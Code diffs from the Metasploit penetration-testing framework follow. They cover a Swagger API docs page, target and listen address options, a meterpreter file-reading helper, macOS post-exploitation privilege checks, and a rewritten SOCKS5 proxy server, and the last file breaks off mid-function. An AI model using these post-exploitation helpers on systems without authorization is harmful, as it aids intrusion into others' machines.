register EventServlet

View File

@ -0,0 +1,90 @@
<!-- HTML for static distribution bundle build -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Metasploit API Documentation</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700|Source+Code+Pro:300,600|Titillium+Web:400,600,700" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="/swagger-ui.css" >
<link rel="icon" type="image/png" href="/favicon-32x32.png" sizes="32x32" />
<link rel="icon" type="image/png" href="/favicon-16x16.png" sizes="16x16" />
<style>
html
{
box-sizing: border-box;
overflow: -moz-scrollbars-vertical;
overflow-y: scroll;
}
*,
*:before,
*:after
{
box-sizing: inherit;
}
body {
margin:0;
background: #fafafa;
}
</style>
</head>
<body>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="position:absolute;width:0;height:0">
<defs>
<symbol viewBox="0 0 20 20" id="unlocked">
<path d="M15.8 8H14V5.6C14 2.703 12.665 1 10 1 7.334 1 6 2.703 6 5.6V6h2v-.801C8 3.754 8.797 3 10 3c1.203 0 2 .754 2 2.199V8H4c-.553 0-1 .646-1 1.199V17c0 .549.428 1.139.951 1.307l1.197.387C5.672 18.861 6.55 19 7.1 19h5.8c.549 0 1.428-.139 1.951-.307l1.196-.387c.524-.167.953-.757.953-1.306V9.199C17 8.646 16.352 8 15.8 8z"></path>
</symbol>
<symbol viewBox="0 0 20 20" id="locked">
<path d="M15.8 8H14V5.6C14 2.703 12.665 1 10 1 7.334 1 6 2.703 6 5.6V8H4c-.553 0-1 .646-1 1.199V17c0 .549.428 1.139.951 1.307l1.197.387C5.672 18.861 6.55 19 7.1 19h5.8c.549 0 1.428-.139 1.951-.307l1.196-.387c.524-.167.953-.757.953-1.306V9.199C17 8.646 16.352 8 15.8 8zM12 8H8V5.199C8 3.754 8.797 3 10 3c1.203 0 2 .754 2 2.199V8z"/>
</symbol>
<symbol viewBox="0 0 20 20" id="close">
<path d="M14.348 14.849c-.469.469-1.229.469-1.697 0L10 11.819l-2.651 3.029c-.469.469-1.229.469-1.697 0-.469-.469-.469-1.229 0-1.697l2.758-3.15-2.759-3.152c-.469-.469-.469-1.228 0-1.697.469-.469 1.228-.469 1.697 0L10 8.183l2.651-3.031c.469-.469 1.228-.469 1.697 0 .469.469.469 1.229 0 1.697l-2.758 3.152 2.758 3.15c.469.469.469 1.229 0 1.698z"/>
</symbol>
<symbol viewBox="0 0 20 20" id="large-arrow">
<path d="M13.25 10L6.109 2.58c-.268-.27-.268-.707 0-.979.268-.27.701-.27.969 0l7.83 7.908c.268.271.268.709 0 .979l-7.83 7.908c-.268.271-.701.27-.969 0-.268-.269-.268-.707 0-.979L13.25 10z"/>
</symbol>
<symbol viewBox="0 0 20 20" id="large-arrow-down">
<path d="M17.418 6.109c.272-.268.709-.268.979 0s.271.701 0 .969l-7.908 7.83c-.27.268-.707.268-.979 0l-7.908-7.83c-.27-.268-.27-.701 0-.969.271-.268.709-.268.979 0L10 13.25l7.418-7.141z"/>
</symbol>
<symbol viewBox="0 0 24 24" id="jump-to">
<path d="M19 7v4H5.83l3.58-3.59L8 6l-6 6 6 6 1.41-1.41L5.83 13H21V7z"/>
</symbol>
<symbol viewBox="0 0 24 24" id="expand">
<path d="M10 18h4v-2h-4v2zM3 6v2h18V6H3zm3 7h12v-2H6v2z"/>
</symbol>
</defs>
</svg>
<div id="swagger-ui"></div>
<script src="/swagger-ui-bundle.js"> </script>
<script src="/swagger-ui-standalone-preset.js"> </script>
<script>
window.onload = function() {
// Build a system
const ui = SwaggerUIBundle({
url: "/api/v1/api-docs.json",
dom_id: '#swagger-ui',
presets: [
SwaggerUIBundle.presets.apis,
SwaggerUIStandalonePreset
],
layout: "StandaloneLayout"
})
window.ui = ui
}
</script>
</body>
</html>

View File

@ -48,11 +48,13 @@ module Msf::DBManager::Service
# +:host+:: the host where this service is running
# +:port+:: the port where this service listens
# +:proto+:: the transport layer protocol (e.g. tcp, udp)
# +:workspace+:: the workspace for the service
#
# opts may contain
# +:name+:: the application layer protocol (e.g. ssh, mssql, smb)
# +:sname+:: an alias for the above
# +:workspace+:: the workspace for the service
# +:info+:: Detailed information about the service such as name and version information
# +:state+:: The current listening state of the service (one of: open, closed, filtered, unknown)
#
def report_service(opts)
return if !active

View File

@ -25,8 +25,8 @@ module Msf
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptAddress]
def self.LHOST(default=nil, required=true, desc="The listen address")
# @return [OptAddressLocal]
def self.LHOST(default=nil, required=true, desc="The listen address (an interface may be specified)")
Msf::OptAddressLocal.new(__method__.to_s, [ required, desc, default ])
end
@ -40,8 +40,12 @@ module Msf
Msf::OptString.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptAddress]
def self.RHOST(default=nil, required=true, desc="The target address")
# @return [OptAddressRange]
def self.RHOSTS(default=nil, required=true, desc="The target address range or CIDR identifier")
Msf::OptAddressRange.new('RHOSTS', [ required, desc, default ])
end
def self.RHOST(default=nil, required=true, desc="The target address range or CIDR identifier")
Msf::OptAddressRange.new('RHOSTS', [ required, desc, default ], aliases: [ 'RHOST' ])
end
@ -107,6 +111,7 @@ module Msf
LPORT = LPORT()
Proxies = Proxies()
RHOST = RHOST()
RHOSTS = RHOSTS()
RPORT = RPORT()
SSLVersion = SSLVersion()
end

View File

@ -5,36 +5,39 @@ module Msf
###
#
# Network address option.
# Local network address option.
#
###
class OptAddressLocal < OptAddress
def normalize(value)
return nil unless value.kind_of?(String)
if NetworkInterface.interfaces.include?(value)
ip_address = NetworkInterface.addresses(value).values.flatten.collect{|x| x['addr']}.select do |addr|
begin
IPAddr.new(addr).ipv4?
rescue IPAddr::InvalidAddressError => e
false
end
end
return false if ip_address.blank?
return ip_address.first
end
return value
def interfaces
NetworkInterface.interfaces || []
end
def normalize(value)
return unless value.kind_of?(String)
return value unless interfaces.include?(value)
addrs = NetworkInterface.addresses(value).values.flatten
# Strip interface name from address (see getifaddrs(3))
addrs = addrs.map { |x| x['addr'].split('%').first }.select do |addr|
begin
IPAddr.new(addr)
rescue IPAddr::InvalidAddressError
false
end
end
addrs.any? ? addrs.first : ''
end
def valid?(value, check_empty: true)
return false if check_empty && empty_required_value?(value)
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
return true if NetworkInterface.interfaces.include?(value)
return false unless value.kind_of?(String) || value.kind_of?(NilClass)
return super
return true if interfaces.include?(value)
super
end
end

View File

@ -421,22 +421,22 @@ protected
#
# @return [String]
def _read_file_meterpreter(file_name)
begin
fd = session.fs.file.new(file_name, "rb")
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Failed to open file: #{file_name}: #{e}")
return nil
end
fd = session.fs.file.new(file_name, "rb")
data = fd.read
begin
until fd.eof?
data << fd.read
end
ensure
fd.close
until fd.eof?
data << fd.read
end
data
rescue EOFError
# Sometimes fd isn't marked EOF in time?
''
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Failed to open file: #{file_name}: #{e}")
return nil
ensure
fd.close if fd
end
#

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
module Msf::Post::OSX
require 'msf/core/post/osx/priv'
require 'msf/core/post/osx/system'
require 'msf/core/post/osx/ruby_dl'
end

View File

@ -0,0 +1,26 @@
# -*- coding: binary -*-
require 'msf/core/post/common'
module Msf
class Post
module OSX
module Priv
include ::Msf::Post::Common
#
# Returns true if running as root, false if not.
#
def is_root?
cmd_exec('/usr/bin/id -ru').eql? '0'
end
#
# Returns true if session user is in the admin group, false if not.
#
def is_admin?
cmd_exec('groups | grep -wq admin && echo true').eql? 'true'
end
end
end
end
end

View File

@ -2167,6 +2167,12 @@ class Core
return res
end
# XXX: We repurpose OptAddressLocal#interfaces, so we can't put this in Rex
def tab_complete_source_interface(o)
return [] unless o.is_a?(Msf::OptAddressLocal)
o.interfaces
end
#
# Provide possible option values based on type
#
@ -2188,8 +2194,8 @@ class Core
res << Rex::Socket.source_address(rh)
else
res += tab_complete_source_address
res += tab_complete_source_interface(o)
end
else
end
when Msf::OptAddressRange

View File

@ -1,645 +1,13 @@
# -*- coding: binary -*-
#
# sf - Sept 2010
# surefire - May 2018
# sf - Sept 2010 (original socks4a code)
# zeroSteiner - March 2018 (socks 5 update)
# surefire - May 2018 (socks 5 update)
#
# TODO: Add support for required SOCKS username+password authentication
# TODO: Support multiple connection requests within a single session
#
require 'thread'
require 'rex/logging'
require 'rex/socket'
module Rex
module Proto
module Proxy
#
# A Socks5 proxy server.
#
class Socks5
#
# A client connected to the Socks5 server.
#
class Client
# COMMON HEADER FIELDS
RESERVED = 0
# ADDRESS TYPES
ADDRESS_TYPE_IPV4 = 1
ADDRESS_TYPE_DOMAINNAME = 3
ADDRESS_TYPE_IPV6 = 4
# AUTHENTICATION TYPES
AUTH_PROTOCOL_VERSION = 0x01
AUTH_METHOD_TYPE_NONE = 0x00
AUTH_METHOD_TYPE_USER_PASS = 0x02
AUTH_METHODS_REJECTED = 0xFF
AUTH_SUCCESS = 0x00
AUTH_FAILURE = 0x01
# REQUEST HEADER FIELDS
REQUEST_VERSION = 5
REQUEST_AUTH_METHOD_COUNT = 1
REQUEST_COMMAND_CONNECT = 1
REQUEST_COMMAND_BIND = 2
REQUEST_COMMAND_UDP_ASSOCIATE = 3 # TODO: support UDP associate
# RESPONSE HEADER FIELDS
REPLY_VERSION = 5
REPLY_FIELD_SUCCEEDED = 0
REPLY_FIELD_SOCKS_SERVER_FAILURE = 1
REPLY_FIELD_NOT_ALLOWED_BY_RULESET = 2
REPLY_FIELD_NETWORK_UNREACHABLE = 3
REPLY_FIELD_HOST_UNREACHABLE = 4
REPLY_FIELD_CONNECTION_REFUSED = 5
REPLY_FIELD_TTL_EXPIRED = 6
REPLY_FIELD_COMMAND_NOT_SUPPORTED = 7
REPLY_FIELD_ADDRESS_TYPE_NOT_SUPPORTED = 8
# RPEER INDEXES
HOST = 1
PORT = 2
class Response
def initialize( sock )
@version = REQUEST_VERSION
@command = nil
@reserved = RESERVED
@atyp = nil
@dest_port = 0
@dest_ip = '0.0.0.0'
@sock = sock
end
# convert IPv6 hex-encoded, colon-delimited string (0000:1111:...) into a 128-bit address
def ipv6_atoi(ip)
raw = ""
ip.scan(/....:/).each do |quad|
raw += quad[0,2].hex.chr
raw += quad[2,4].hex.chr
end
return raw
end
# Pack a packet into raw bytes for transmitting on the wire.
def to_r
begin
if @atyp == ADDRESS_TYPE_DOMAINNAME
if @dest_ip.include? '.' # stupid check for IPv4 addresses
@atyp = ADDRESS_TYPE_IPV4
elsif @dest_ip.include? ':' # stupid check for IPv4 addresses
@atyp = ADDRESS_TYPE_IPV6
else
raise "Malformed dest_ip while sending SOCKS5 response packet"
end
end
if @atyp == ADDRESS_TYPE_IPV4
raw = [ @version, @command, @reserved, @atyp, Rex::Socket.addr_atoi(@dest_ip), @dest_port ].pack( 'CCCCNn' )
elsif @atyp == ADDRESS_TYPE_IPV6
raw = [ @version, @command, @reserved, @atyp ].pack ( 'CCCC')
raw += ipv6_atoi(@dest_ip)
raw += [ @dest_port ].pack( 'n' )
else
raise "Invalid address type field encountered while sending SOCKS5 response packet"
end
return raw
rescue TypeError
raise "Invalid field conversion while sending SOCKS5 response packet"
end
end
def send
@sock.put(self.to_r)
end
attr_writer :version, :command, :dest_port, :dest_ip, :hostname, :atyp
end
class Request
def initialize( sock )
@version = REQUEST_VERSION
@command = nil
@atyp = nil
@dest_port = nil
@dest_ip = nil
@sock = sock
@username = nil
@password = nil
@serverAuthMethods = [ 0x00 ]
end
def requireAuthentication( username, password )
@username = username
@password = password
@serverAuthMethods = [ AUTH_METHOD_TYPE_USER_PASS ]
end
# The first packet sent by the client is a session request
# +----+----------+----------+
# |VER | NMETHODS | METHODS |
# +----+----------+----------+
# | 1 | 1 | 1 to 255 | METHOD (\x00) = NO AUTHENTICATION REQUIRED
# +----+----------+----------+
def parseIncomingSession()
raw = ''
version = @sock.read( 1 )
raise "Invalid Socks5 request packet received." if not
( version.unpack( 'C' ).first == REQUEST_VERSION )
nMethods = @sock.read( 1 ).unpack( 'C' ).first
unpackFormatStr = 'C' + nMethods.to_s # IS THIS REALLY WHAT I'M DOING?!
clientAuthMethods = @sock.read( nMethods ).unpack( unpackFormatStr )
authMethods = ( clientAuthMethods & @serverAuthMethods )
if ( authMethods.empty? )
raw = [ REQUEST_VERSION, AUTH_METHODS_REJECTED ].pack ( 'CC' )
@sock.put( raw )
raise "No matching authentication methods agreed upon in session request"
else
raw = [REQUEST_VERSION, authMethods[0]].pack ( 'CC' )
@sock.put( raw )
parseIncomingCredentials() if authMethods[0] == AUTH_METHOD_TYPE_USER_PASS
end
end
def parseIncomingCredentials()
# Based on RFC1929: https://tools.ietf.org/html/rfc1929
# +----+------+----------+------+----------+
# |VER | ULEN | UNAME | PLEN | PASSWD |
# +----+------+----------+------+----------+
# | 1 | 1 | 1 to 255 | 1 | 1 to 255 | VERSION: 0x01
# +----+------+----------+------+----------+
version = @sock.read( 1 )
raise "Invalid SOCKS5 authentication packet received." if not
( version.unpack( 'C' ).first == 0x01 )
usernameLength = @sock.read( 1 ).unpack( 'C' ).first
username = @sock.read( usernameLength )
passwordLength = @sock.read( 1 ).unpack( 'C' ).first
password = @sock.read( passwordLength )
# +----+--------+
# |VER | STATUS |
# +----+--------+ VERSION: 0x01
# | 1 | 1 | STATUS: 0x00=SUCCESS, otherwise FAILURE
# +----+--------+
if (username == @username && password == @password)
raw = [ AUTH_PROTOCOL_VERSION, AUTH_SUCCESS ].pack ( 'CC' )
ilog("SOCKS5: Successfully authenticated")
@sock.put( raw )
return true
else
raw = [ AUTH_PROTOCOL_VERSION, AUTH_FAILURE ].pack ( 'CC' )
@sock.put( raw )
raise "Invalid SOCKS5 credentials provided"
end
end
def parseIncomingConnectionRequest()
raw = @sock.read ( 262 ) # MAX LENGTH OF REQUEST WITH 256 BYTE HOSTNAME
# fail if the incoming request is less than 8 bytes (malformed)
raise "Client closed connection while expecting SOCKS connection request" if( raw == nil )
raise "Client sent malformed packet expecting SOCKS connection request" if( raw.length < 8 )
# Per RFC1928, the lengths of the SOCKS5 request header are:
# +----+-----+-------+------+----------+----------+
# |VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT |
# +----+-----+-------+------+----------+----------+
# | 1 | 1 | X'00' | 1 | Variable | 2 |
# +----+-----+-------+------+----------+----------+
@version = raw[0..0].unpack( 'C' ).first
# fail if the incoming request is an unsupported version (not '0x05')
raise "Invalid SOCKS version received from client" if( @version != REQUEST_VERSION )
@command = raw[1..1].unpack( 'C' ).first
# fail if the incoming request is an unsupported command (currently only CONNECT)
raise "Invalid SOCKS proxy command received from client" if ( @command != REQUEST_COMMAND_CONNECT )
# "address type of following address"
@atyp = raw[3..3].unpack( 'C' ).first
if (@atyp == ADDRESS_TYPE_IPV4)
# "the address is a version-4 IP address, with a length of 4 octets"
addressLen = 4
addressEnd = 3 + addressLen
hostname = nil
@dest_ip = Rex::Socket.addr_itoa( raw[4..7].unpack('N').first )
elsif (@atyp == ADDRESS_TYPE_IPV6)
# "the address is a version-6 IP address, with a length of 16 octets"
addressLen = 16
addressEnd = 3 + addressLen
hostname = nil
@dest_ip = raw[4..19].unpack( 'H4H4H4H4H4H4H4H4' ).join(':') # Workaround because Rex::Socket.addr_itoa hurts too much
elsif (@atyp == ADDRESS_TYPE_DOMAINNAME)
# "the address field contains a fully-qualified domain name. The first
# octet of the address field contains the number of octets of name that
# follow, there is no terminating NUL octet."
addressLen = raw[4..4].unpack( 'C' ).first
addressStart = 5
addressEnd = 4+addressLen
@hostname = raw[addressStart..addressEnd]
@dest_ip = self.resolve( @hostname )
ilog("SOCKS5: Resolved '#{@hostname}' to #{@dest_ip.to_s}")
# fail if we couldnt resolve the hostname
if( not @dest_ip )
wlog("SOCKS5: Failed to resolve '#{@hostname}'...")
end
else
raise 'Invalid address type requested in connection request'
end
@dest_port = raw[addressEnd+1 .. addressEnd+3].unpack('n').first
return true
end
def is_connect?
@command == REQUEST_COMMAND_CONNECT ? true : false
end
def is_bind?
@command == REQUEST_COMMAND_BIND ? true : false
end
attr_reader :version, :command, :dest_port, :dest_ip, :hostname, :atyp
protected
# Resolve the given hostname into a dotted IP address.
def resolve( hostname )
if( not hostname.empty? )
begin
return Rex::Socket.addr_itoa( Rex::Socket.gethostbyname( hostname )[3].unpack( 'N' ).first )
rescue ::SocketError
return nil
end
end
return nil
end
end
# A mixin for a socket to perform a relay to another socket.
module Relay
#
# Relay data coming in from relay_sock to this socket.
#
def relay( relay_client, relay_sock )
@relay_client = relay_client
@relay_sock = relay_sock
# start the relay thread (modified from Rex::IO::StreamAbstraction)
@relay_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServerRelay", false) do
loop do
closed = false
buf = nil
begin
s = Rex::ThreadSafe.select( [ @relay_sock ], nil, nil, 0.2 )
if( s == nil || s[0] == nil )
next
end
rescue
closed = true
end
if( closed == false )
begin
buf = @relay_sock.sysread( 32768 )
closed = true if( buf == nil )
rescue
closed = true
end
end
if( closed == false )
total_sent = 0
total_length = buf.length
while( total_sent < total_length )
begin
data = buf[total_sent, buf.length]
sent = self.write( data )
if( sent > 0 )
total_sent += sent
end
rescue
closed = true
break
end
end
end
if( closed )
@relay_client.stop
::Thread.exit
end
end
end
end
end
# Create a new client connected to the server.
def initialize( server, sock, opts )
@username = opts['USERNAME']
@password = opts['PASSWORD']
@server = server
@lsock = sock
@rsock = nil
@client_thread = nil
@mutex = ::Mutex.new
end
# Start handling the client connection.
def start
# create a thread to handle this client request so as to not block the socks5 server
@client_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyClient", false) do
begin
@server.add_client( self )
# get the initial client request packet
request = Request.new ( @lsock )
if not (@username.nil? or @password.nil?)
request.requireAuthentication( @username, @password )
end
# negotiate authentication
request.parseIncomingSession()
# negotiate authentication
request.parseIncomingConnectionRequest()
# handle the request
begin
# handle CONNECT requests
if( request.is_connect? )
# perform the connection request
params = {
'PeerHost' => request.dest_ip,
'PeerPort' => request.dest_port,
}
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
@rsock = Rex::Socket::Tcp.create( params )
# and send back success to the client
response = Response.new ( @lsock )
response.version = REPLY_VERSION
response.command = REPLY_FIELD_SUCCEEDED
response.atyp = request.atyp
response.hostname = request.hostname
response.dest_port = request.dest_port
response.dest_ip = request.dest_ip
ilog("SOCKS5: request accepted to " + request.dest_ip.to_s + request.dest_port.to_s)
response.send()
# handle BIND requests
elsif( request.is_bind? ) # TODO: Test the BIND code with SOCKS5 (this is the old SOCKS4 code)
# create a server socket for this request
params = {
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
}
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
bsock = Rex::Socket::TcpServer.create( params )
# send back the bind success to the client
response = Response.new ( @lsock )
response.version = REPLY_VERSION
response.command = REPLY_FIELD_SUCCEEDED
response.atyp = request.atyp
response.hostname = request.hostname
response.dest_ip = '0.0.0.0'
response.dest_port = bsock.getlocalname()[PORT]
response.send()
ilog("SOCKS5: BIND request accepted to " + request.dest_ip.to_s + request.dest_port.to_s)
# accept a client connection (2 minute timeout as per spec)
begin
::Timeout.timeout( 120 ) do
@rsock = bsock.accept
end
rescue ::Timeout::Error
raise "Timeout reached on accept request."
end
# close the listening socket
bsock.close
# verify the connection is from the dest_ip origionally specified by the client
rpeer = @rsock.getpeername_as_array
raise "Got connection from an invalid peer." if( rpeer[HOST] != request.dest_ip )
# send back the client connect success to the client
# sf: according to the spec we send this response back to the client, however
# I have seen some clients who bawk if they get this second response.
response = Response.new ( @lsock )
response.version = REPLY_VERSION
response.command = REPLY_FIELD_SUCCEEDED
response.atyp = request.atyp
response.hostname = request.hostname
response.dest_ip = rpeer[HOST]
response.dest_port = rpeer[PORT]
response.send()
else
raise "Unknown request command received #{request.command} received."
end
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::InvalidDestination, Rex::ConnectionTimeout => e
# send back failure to the client
response = Response.new ( @lsock )
response.version = REPLY_VERSION
response.atyp = request.atyp
response.dest_port = request.dest_port
response.dest_ip = request.dest_ip
if e.class == Rex::ConnectionRefused
response.command = REPLY_FIELD_CONNECTION_REFUSED
response.send()
raise "Connection refused by destination (#{request.dest_ip}:#{request.dest_port})"
elsif e.class == Rex::ConnectionTimeout
response.command = REPLY_FIELD_HOST_UNREACHABLE
response.send()
raise "Connection attempt timed out (#{request.dest_ip}:#{request.dest_port})"
elsif e.class == Rex::HostUnreachable
response.command = REPLY_FIELD_HOST_UNREACHABLE
response.send()
raise "Host Unreachable (#{request.dest_ip}:#{request.dest_port})"
elsif e.class == Rex::NetworkUnreachable
response.command = REPLY_FIELD_NETWORK_UNREACHABLE
response.send()
raise "Network unreachable (#{request.dest_ip}:#{request.dest_port})"
end
rescue RuntimeError
raise
# TODO: This happens when we get a connection refused for an IPv6 connection. :-(
# It's unknown if that's the only error case.
rescue => e
raise
response = Response.new ( @lsock )
response.version = REPLY_VERSION
response.atyp = request.atyp
response.dest_port = request.dest_port
response.dest_ip = request.dest_ip
response.hostname = request.hostname
response.command = REPLY_FIELD_SOCKS_SERVER_FAILURE
response.send()
# raise an exception to close this client connection
raise e
end
# setup the two way relay for full duplex io
@lsock.extend( Relay )
@rsock.extend( Relay )
# start the socket relays...
@lsock.relay( self, @rsock )
@rsock.relay( self, @lsock )
rescue
#raise # UNCOMMENT FOR DEBUGGING
wlog( "SOCKS5: #{$!}" )
wlog( "SOCKS5: #{$!.message}" )
self.stop
end
end
end
# Stop handling the client connection.
def stop
@mutex.synchronize do
if( not @closed )
begin
@lsock.close if @lsock
rescue
end
begin
@rsock.close if @rsock
rescue
end
@client_thread.kill if( @client_thread and @client_thread.alive? )
@server.remove_client( self )
@closed = true
end
end
end
end
# Create a new Socks5 server.
def initialize( opts={} )
@opts = { 'SRVHOST' => '0.0.0.0', 'SRVPORT' => 1080,
'USERNAME' => nil, 'PASSWORD' => nil }
@opts = @opts.merge( opts['Context']['MsfExploit'].datastore )
@server = nil
@clients = ::Array.new
@running = false
@server_thread = nil
end
#
# Check if the server is running.
#
def is_running?
return @running
end
#
# Start the Socks5 server.
#
def start
begin
# create the servers main socket (ignore the context here because we don't want a remote bind)
@server = Rex::Socket::TcpServer.create( 'LocalHost' => @opts['SRVHOST'], 'LocalPort' => @opts['SRVPORT'] )
# signal we are now running
@running = true
# start the servers main thread to pick up new clients
@server_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServer", false) do
while( @running ) do
begin
# accept the client connection
sock = @server.accept
# and fire off a new client instance to handle it
Client.new( self, sock, @opts ).start
rescue
wlog( "Socks5.start - server_thread - #{$!}" )
end
end
end
rescue
wlog( "Socks5.start - #{$!}" )
return false
end
return true
end
#
# Block while the server is running.
#
def join
@server_thread.join if @server_thread
end
#
# Stop the Socks5 server.
#
def stop
if( @running )
# signal we are no longer running
@running = false
# stop any clients we have (create a new client array as client.stop will delete from @clients)
clients = []
clients.concat( @clients )
clients.each do | client |
client.stop
end
# close the server socket
@server.close if @server
# if the server thread did not terminate gracefully, kill it.
@server_thread.kill if( @server_thread and @server_thread.alive? )
end
return !@running
end
def add_client( client )
@clients << client
end
def remove_client( client )
@clients.delete( client )
end
attr_reader :opts
end
end; end; end
# references:
# - SOCKS Protocol Version 5
# https://tools.ietf.org/html/rfc1928
# - Username/Password Authentication for SOCKS V5
# https://tools.ietf.org/html/rfc1929
require 'rex/proto/proxy/socks5/server'

View File

@ -0,0 +1,109 @@
# -*- coding: binary -*-
require 'bindata'
require 'rex/socket'
module Rex
module Proto
module Proxy
module Socks5
SOCKS_VERSION = 5
#
# Mixin for socks5 packets to include an address field.
#
module Address
ADDRESS_TYPE_IPV4 = 1
ADDRESS_TYPE_DOMAINNAME = 3
ADDRESS_TYPE_IPV6 = 4
def address
addr = address_array.to_ary.pack('C*')
if address_type == ADDRESS_TYPE_IPV4 || address_type == ADDRESS_TYPE_IPV6
addr = Rex::Socket.addr_ntoa(addr)
end
addr
end
def address=(value)
if Rex::Socket.is_ipv4?(value)
address_type.assign(ADDRESS_TYPE_IPV4)
domainname_length.assign(0)
value = Rex::Socket.addr_aton(value)
elsif Rex::Socket.is_ipv6?(value)
address_type.assign(ADDRESS_TYPE_IPV6)
domainname_length.assign(0)
value = Rex::Socket.addr_aton(value)
else
address_type.assign(ADDRESS_TYPE_DOMAINNAME)
domainname_length.assign(value.length)
end
address_array.assign(value.unpack('C*'))
end
def address_length
case address_type
when ADDRESS_TYPE_IPV4
4
when ADDRESS_TYPE_DOMAINNAME
domainname_length
when ADDRESS_TYPE_IPV6
16
else
0
end
end
end
class AuthRequestPacket < BinData::Record
endian :big
uint8 :version, :initial_value => SOCKS_VERSION
uint8 :supported_methods_length
array :supported_methods, :type => :uint8, :initial_length => :supported_methods_length
end
class AuthResponsePacket < BinData::Record
endian :big
uint8 :version, :initial_value => SOCKS_VERSION
uint8 :chosen_method
end
class Packet < BinData::Record
include Address
endian :big
hide :reserved, :domainname_length
uint8 :version, :initial_value => SOCKS_VERSION
uint8 :command
uint8 :reserved
uint8 :address_type
uint8 :domainname_length, :onlyif => lambda { address_type == ADDRESS_TYPE_DOMAINNAME }
array :address_array, :type => :uint8, :initial_length => lambda { address_length }
uint16 :port
end
class RequestPacket < Packet
end
class ResponsePacket < Packet
end
class UdpPacket < BinData::Record
include Address
endian :big
hide :reserved, :domainname_length
uint16 :reserved
uint8 :frag
uint8 :address_type
uint8 :domainname_length, :onlyif => lambda { address_type == ADDRESS_TYPE_DOMAINNAME }
array :address_array, :type => :uint8, :initial_length => lambda { address_length }
uint16 :port
end
end
end
end
end

View File

@ -0,0 +1,105 @@
# -*- coding: binary -*-
require 'thread'
require 'rex/logging'
require 'rex/socket'
require 'rex/proto/proxy/socks5/server_client'
module Rex
module Proto
module Proxy
module Socks5
#
# A SOCKS5 proxy server.
#
class Server
#
# Create a new SOCKS5 server.
#
def initialize(opts={})
@opts = { 'ServerHost' => '0.0.0.0', 'ServerPort' => 1080 }
@opts = @opts.merge(opts)
@server = nil
@clients = ::Array.new
@running = false
@server_thread = nil
end
#
# Check if the server is running.
#
def is_running?
return @running
end
#
# Start the SOCKS5 server.
#
def start
begin
# create the servers main socket (ignore the context here because we don't want a remote bind)
@server = Rex::Socket::TcpServer.create('LocalHost' => @opts['ServerHost'], 'LocalPort' => @opts['ServerPort'])
# signal we are now running
@running = true
# start the servers main thread to pick up new clients
@server_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServer", false) do
while @running
begin
# accept the client connection
sock = @server.accept
# and fire off a new client instance to handle it
ServerClient.new(self, sock, @opts).start
rescue
wlog("SOCKS5.start - server_thread - #{$!}")
end
end
end
rescue
wlog("SOCKS5.start - #{$!}")
return false
end
return true
end
#
# Block while the server is running.
#
def join
@server_thread.join if @server_thread
end
#
# Stop the SOCKS5 server.
#
def stop
if @running
# signal we are no longer running
@running = false
# stop any clients we have (create a new client array as client.stop will delete from @clients)
clients = @clients.dup
clients.each do | client |
client.stop
end
# close the server socket
@server.close if @server
# if the server thread did not terminate gracefully, kill it.
@server_thread.kill if @server_thread and @server_thread.alive?
end
return !@running
end
def add_client(client)
@clients << client
end
def remove_client(client)
@clients.delete(client)
end
attr_reader :opts
end
end
end
end
end

View File

@ -0,0 +1,299 @@
# -*- coding: binary -*-
require 'bindata'
require 'rex/socket'
require 'rex/proto/proxy/socks5/packet'
module Rex
module Proto
module Proxy
#
# A client connected to the proxy server.
#
module Socks5
#
# A mixin for a socket to perform a relay to another socket.
#
module TcpRelay
#
# TcpRelay data coming in from relay_sock to this socket.
#
def relay(relay_client, relay_sock)
@relay_client = relay_client
@relay_sock = relay_sock
# start the relay thread (modified from Rex::IO::StreamAbstraction)
@relay_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServerTcpRelay", false) do
loop do
closed = false
buf = nil
begin
s = Rex::ThreadSafe.select([@relay_sock], nil, nil, 0.2)
next if s.nil? || s[0].nil?
rescue
closed = true
end
unless closed
begin
buf = @relay_sock.sysread( 32768 )
closed = buf.nil?
rescue
closed = true
end
end
unless closed
total_sent = 0
total_length = buf.length
while total_sent < total_length
begin
data = buf[total_sent, buf.length]
sent = self.write(data)
total_sent += sent if sent > 0
rescue
closed = true
break
end
end
end
if closed
@relay_client.stop
::Thread.exit
end
end
end
end
end
#
# A client connected to the SOCKS5 server.
#
class ServerClient
AUTH_NONE = 0
AUTH_GSSAPI = 1
AUTH_CREDS = 2
AUTH_NO_ACCEPTABLE_METHODS = 255
AUTH_PROTOCOL_VERSION = 1
AUTH_RESULT_SUCCESS = 0
AUTH_RESULT_FAILURE = 1
COMMAND_CONNECT = 1
COMMAND_BIND = 2
COMMAND_UDP_ASSOCIATE = 3
REPLY_SUCCEEDED = 0
REPLY_GENERAL_FAILURE = 1
REPLY_NOT_ALLOWED = 2
REPLY_NET_UNREACHABLE = 3
REPLY_HOST_UNREACHABLE = 4
REPLY_CONNECTION_REFUSED = 5
REPLY_TTL_EXPIRED = 6
REPLY_CMD_NOT_SUPPORTED = 7
REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 8
HOST = 1
PORT = 2
#
# Create a new client connected to the server.
#
def initialize(server, sock, opts={})
@server = server
@lsock = sock
@opts = opts
@rsock = nil
@client_thread = nil
@mutex = ::Mutex.new
end
# Start handling the client connection.
#
def start
# create a thread to handle this client request so as to not block the socks5 server
@client_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyClient", false) do
begin
@server.add_client(self)
# get the initial client request packet
handle_authentication
# handle the request
handle_command
rescue => exception
# respond with a general failure to the client
response = ResponsePacket.new
response.command = REPLY_GENERAL_FAILURE
